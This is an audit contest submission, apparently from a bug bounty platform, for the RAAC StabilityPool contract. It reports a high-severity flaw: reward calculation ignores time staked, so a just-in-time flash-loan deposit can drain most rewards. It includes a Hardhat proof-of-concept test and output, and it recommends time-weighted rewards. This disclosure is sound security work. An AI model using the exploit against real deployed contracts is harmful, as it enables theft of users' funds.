Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

User can steal RAAC rewards from the stability pool.

Bug description

When user withdraws from the stability pool, he gets minted RAAC rewards based on his deposit in the pool.

StabilityPool.sol#L251-L259

function calculateRaacRewards(address user) public view returns (uint256) {
uint256 userDeposit = userDeposits[user];
uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
return (totalRewards * userDeposit) / totalDeposits;
}

Since calculations do not take into account time spent in the pool, it's possible to steal all of the rewards. This can be achieved by flashloaning a large sum of tokens, depositing and withdrawing in the same transaction. Because calculations use this formula to compute rewards: (totalRewards * userDeposit) / totalDeposits, the user taking a flashloan will have the biggest share of the pool at the time of rewards calculation and, thus will steal most if not all of the rewards.

Impact

User can steal RAAC rewards.

Proof of Concept

Please add this test to StabilityPool.test.js and run it with npx hardhat test --grep "allows stealing all of the rewards".

describe("sl1", function () {
it("allows stealing all of the rewards", async () => {
const depositAmount = ethers.parseEther("1000");
// Setup for user1
await crvusd.mint(user1.address, depositAmount);
await crvusd.connect(user1).approve(lendingPool.target, depositAmount);
await lendingPool.connect(user1).deposit(depositAmount);
await rToken.connect(user1).approve(stabilityPool.target, depositAmount);
await stabilityPool.connect(user1).deposit(depositAmount);
// user spent one day in the pool and should be entitled to all of the rewards
await ethers.provider.send("evm_increaseTime", [86400 * 10]);
await ethers.provider.send("evm_mine");
await raacMinter.tick();
// Current user rewards he should receive if he were to withdraw
const user1Rewards = await stabilityPool.calculateRaacRewards(
user1.address
);
console.log(
"First user's rewards before the deposit of another user",
user1Rewards
);
let raacBalanceUser2Before = await raacToken.balanceOf(user2);
expect(raacBalanceUser2Before.toString()).to.equal("0");
// Before user is able to withdraw and claim rewards he is frontrun by another user
// who flasloans a large amount of crvUSD
const depositAmount2 = ethers.parseEther("1000000000");
await crvusd.mint(user2.address, depositAmount2);
await crvusd.connect(user2).approve(lendingPool.target, depositAmount2);
// Obtain RTokens
await lendingPool.connect(user2).deposit(depositAmount2);
await rToken.connect(user2).approve(stabilityPool.target, depositAmount2);
// Deposit rTokens to the pool
await stabilityPool.connect(user2).deposit(depositAmount2);
console.log(
"First user rewards after another user deposits:",
await stabilityPool.calculateRaacRewards(user1.address)
);
console.log(
"Second user rewards:",
await stabilityPool.calculateRaacRewards(user2.address)
);
});
};

Console output:

First user's rewards before the deposit of another user: 3813194444444444432n
---------------------
First user rewards after another user deposits: 4439926115629n
Second user rewards: 4439926115629439912n

Recommended Mitigation

Calculate rewards based on time spent in the pool.

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.